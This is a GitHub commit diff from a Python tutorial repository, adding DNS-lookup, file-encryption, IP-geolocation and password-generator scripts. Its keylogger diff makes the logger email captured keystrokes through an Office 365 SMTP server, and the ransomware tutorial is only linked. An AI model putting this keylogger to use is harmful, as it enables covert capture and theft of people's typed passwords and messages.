Skip to content

Commit afd61d9

Browse files
authored
Merge pull request #1 from x4nth055/master
pr
2 parents 4150ce8 + c03bf85 commit afd61d9

File tree

466 files changed

+28195
-1586
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

466 files changed

+28195
-1586
lines changed

README.md

Lines changed: 51 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# [How to Perform DNS Enumeration in Python](https://www.thepythoncode.com/article/dns-enumeration-with-python)
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
import dns.resolver
2+
3+
# Set the target domain and record type
4+
target_domain = "thepythoncode.com"
5+
record_types = ["A", "AAAA", "CNAME", "MX", "NS", "SOA", "TXT"]
6+
# Create a DNS resolver
7+
resolver = dns.resolver.Resolver()
8+
for record_type in record_types:
9+
# Perform DNS lookup for the specified domain and record type
10+
try:
11+
answers = resolver.resolve(target_domain, record_type)
12+
except dns.resolver.NoAnswer:
13+
continue
14+
# Print the answers
15+
print(f"{record_type} records for {target_domain}:")
16+
for rdata in answers:
17+
print(f" {rdata}")
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
dnspython
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
import cryptography
2+
from cryptography.fernet import Fernet
3+
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
4+
5+
import secrets
6+
import base64
7+
import getpass
8+
9+
10+
def generate_salt(size=16):
11+
"""Generate the salt used for key derivation,
12+
`size` is the length of the salt to generate"""
13+
return secrets.token_bytes(size)
14+
15+
16+
def derive_key(salt, password):
17+
"""Derive the key from the `password` using the passed `salt`"""
18+
kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)
19+
return kdf.derive(password.encode())
20+
21+
22+
def load_salt():
23+
# load salt from salt.salt file
24+
return open("salt.salt", "rb").read()
25+
26+
27+
def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
28+
"""
29+
Generates a key from a `password` and the salt.
30+
If `load_existing_salt` is True, it'll load the salt from a file
31+
in the current directory called "salt.salt".
32+
If `save_salt` is True, then it will generate a new salt
33+
and save it to "salt.salt"
34+
"""
35+
if load_existing_salt:
36+
# load existing salt
37+
salt = load_salt()
38+
elif save_salt:
39+
# generate new salt and save it
40+
salt = generate_salt(salt_size)
41+
with open("salt.salt", "wb") as salt_file:
42+
salt_file.write(salt)
43+
# generate the key from the salt and the password
44+
derived_key = derive_key(salt, password)
45+
# encode it using Base 64 and return it
46+
return base64.urlsafe_b64encode(derived_key)
47+
48+
49+
def encrypt(filename, key):
50+
"""
51+
Given a filename (str) and key (bytes), it encrypts the file and write it
52+
"""
53+
f = Fernet(key)
54+
with open(filename, "rb") as file:
55+
# read all file data
56+
file_data = file.read()
57+
# encrypt data
58+
encrypted_data = f.encrypt(file_data)
59+
# write the encrypted file
60+
with open(filename, "wb") as file:
61+
file.write(encrypted_data)
62+
63+
64+
def decrypt(filename, key):
65+
"""
66+
Given a filename (str) and key (bytes), it decrypts the file and write it
67+
"""
68+
f = Fernet(key)
69+
with open(filename, "rb") as file:
70+
# read the encrypted data
71+
encrypted_data = file.read()
72+
# decrypt data
73+
try:
74+
decrypted_data = f.decrypt(encrypted_data)
75+
except cryptography.fernet.InvalidToken:
76+
print("Invalid token, most likely the password is incorrect")
77+
return
78+
# write the original file
79+
with open(filename, "wb") as file:
80+
file.write(decrypted_data)
81+
print("File decrypted successfully")
82+
83+
84+
if __name__ == "__main__":
85+
import argparse
86+
parser = argparse.ArgumentParser(description="File Encryptor Script with a Password")
87+
parser.add_argument("file", help="File to encrypt/decrypt")
88+
parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated",
89+
type=int)
90+
parser.add_argument("-e", "--encrypt", action="store_true",
91+
help="Whether to encrypt the file, only -e or -d can be specified.")
92+
parser.add_argument("-d", "--decrypt", action="store_true",
93+
help="Whether to decrypt the file, only -e or -d can be specified.")
94+
95+
args = parser.parse_args()
96+
file = args.file
97+
98+
if args.encrypt:
99+
password = getpass.getpass("Enter the password for encryption: ")
100+
elif args.decrypt:
101+
password = getpass.getpass("Enter the password you used for encryption: ")
102+
103+
if args.salt_size:
104+
key = generate_key(password, salt_size=args.salt_size, save_salt=True)
105+
else:
106+
key = generate_key(password, load_existing_salt=True)
107+
108+
encrypt_ = args.encrypt
109+
decrypt_ = args.decrypt
110+
111+
if encrypt_ and decrypt_:
112+
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
113+
elif encrypt_:
114+
encrypt(file, key)
115+
elif decrypt_:
116+
decrypt(file, key)
117+
else:
118+
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
119+
120+
121+
122+
123+
124+
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python)
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import ipinfo
2+
import sys
3+
# get the ip address from the command line
4+
try:
5+
ip_address = sys.argv[1]
6+
except IndexError:
7+
ip_address = None
8+
# access token for ipinfo.io
9+
access_token = '<put_your_access_token_here>'
10+
# create a client object with the access token
11+
handler = ipinfo.getHandler(access_token)
12+
# get the ip info
13+
details = handler.getDetails(ip_address)
14+
# print the ip info
15+
for key, value in details.all.items():
16+
print(f"{key}: {value}")
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
ipinfo

ethical-hacking/keylogger/keylogger.py

Lines changed: 30 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,12 @@
33
# Timer is to make a method runs after an `interval` amount of time
44
from threading import Timer
55
from datetime import datetime
6+
from email.mime.multipart import MIMEMultipart
7+
from email.mime.text import MIMEText
68

79
SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
8-
EMAIL_ADDRESS = "put_real_address_here@gmail.com"
9-
EMAIL_PASSWORD = "put_real_pw"
10+
EMAIL_ADDRESS = "email@provider.tld"
11+
EMAIL_PASSWORD = "password_here"
1012

1113
class Keylogger:
1214
def __init__(self, interval, report_method="email"):
@@ -59,17 +61,37 @@ def report_to_file(self):
5961
print(self.log, file=f)
6062
print(f"[+] Saved {self.filename}.txt")
6163

62-
def sendmail(self, email, password, message):
64+
def prepare_mail(self, message):
65+
"""Utility function to construct a MIMEMultipart from a text
66+
It creates an HTML version as well as text version
67+
to be sent as an email"""
68+
msg = MIMEMultipart("alternative")
69+
msg["From"] = EMAIL_ADDRESS
70+
msg["To"] = EMAIL_ADDRESS
71+
msg["Subject"] = "Keylogger logs"
72+
# simple paragraph, feel free to edit
73+
html = f"<p>{message}</p>"
74+
text_part = MIMEText(message, "plain")
75+
html_part = MIMEText(html, "html")
76+
msg.attach(text_part)
77+
msg.attach(html_part)
78+
# after making the mail, convert back as string message
79+
return msg.as_string()
80+
81+
def sendmail(self, email, password, message, verbose=1):
6382
# manages a connection to an SMTP server
64-
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
83+
# in our case it's for Microsoft365, Outlook, Hotmail, and live.com
84+
server = smtplib.SMTP(host="smtp.office365.com", port=587)
6585
# connect to the SMTP server as TLS mode ( for security )
6686
server.starttls()
6787
# login to the email account
6888
server.login(email, password)
69-
# send the actual message
70-
server.sendmail(email, email, message)
89+
# send the actual message after preparation
90+
server.sendmail(email, email, self.prepare_mail(message))
7191
# terminates the session
7292
server.quit()
93+
if verbose:
94+
print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
7395

7496
def report(self):
7597
"""
@@ -85,8 +107,8 @@ def report(self):
85107
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
86108
elif self.report_method == "file":
87109
self.report_to_file()
88-
# if you want to print in the console, uncomment below line
89-
# print(f"[{self.filename}] - {self.log}")
110+
# if you don't want to print in the console, comment below line
111+
print(f"[{self.filename}] - {self.log}")
90112
self.start_dt = datetime.now()
91113
self.log = ""
92114
timer = Timer(interval=self.interval, function=self.report)
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# [How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python)
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
from argparse import ArgumentParser
2+
import secrets
3+
import random
4+
import string
5+
6+
# Setting up the Argument Parser
7+
parser = ArgumentParser(
8+
prog='Password Generator.',
9+
description='Generate any number of passwords with this tool.'
10+
)
11+
12+
# Adding the arguments to the parser
13+
parser.add_argument("-n", "--numbers", default=0, help="Number of digits in the PW", type=int)
14+
parser.add_argument("-l", "--lowercase", default=0, help="Number of lowercase chars in the PW", type=int)
15+
parser.add_argument("-u", "--uppercase", default=0, help="Number of uppercase chars in the PW", type=int)
16+
parser.add_argument("-s", "--special-chars", default=0, help="Number of special chars in the PW", type=int)
17+
18+
# add total pw length argument
19+
parser.add_argument("-t", "--total-length", type=int,
20+
help="The total password length. If passed, it will ignore -n, -l, -u and -s, " \
21+
"and generate completely random passwords with the specified length")
22+
23+
# The amount is a number so we check it to be of type int.
24+
parser.add_argument("-a", "--amount", default=1, type=int)
25+
parser.add_argument("-o", "--output-file")
26+
27+
# Parsing the command line arguments.
28+
args = parser.parse_args()
29+
30+
# list of passwords
31+
passwords = []
32+
# Looping through the amount of passwords.
33+
for _ in range(args.amount):
34+
if args.total_length:
35+
# generate random password with the length
36+
# of total_length based on all available characters
37+
passwords.append("".join(
38+
[secrets.choice(string.digits + string.ascii_letters + string.punctuation) \
39+
for _ in range(args.total_length)]))
40+
else:
41+
password = []
42+
# If / how many numbers the password should contain
43+
for _ in range(args.numbers):
44+
password.append(secrets.choice(string.digits))
45+
46+
# If / how many uppercase characters the password should contain
47+
for _ in range(args.uppercase):
48+
password.append(secrets.choice(string.ascii_uppercase))
49+
50+
# If / how many lowercase characters the password should contain
51+
for _ in range(args.lowercase):
52+
password.append(secrets.choice(string.ascii_lowercase))
53+
54+
# If / how many special characters the password should contain
55+
for _ in range(args.special_chars):
56+
password.append(secrets.choice(string.punctuation))
57+
58+
# Shuffle the list with all the possible letters, numbers and symbols.
59+
random.shuffle(password)
60+
61+
# Get the letters of the string up to the length argument and then join them.
62+
password = ''.join(password)
63+
64+
# append this password to the overall list of password.
65+
passwords.append(password)
66+
67+
# Store the password to a .txt file.
68+
if args.output_file:
69+
with open(args.output_file, 'w') as f:
70+
f.write('\n'.join(passwords))
71+
72+
print('\n'.join(passwords))

ethical-hacking/ransomware/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# [How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python)

0 commit comments

Comments
 (0)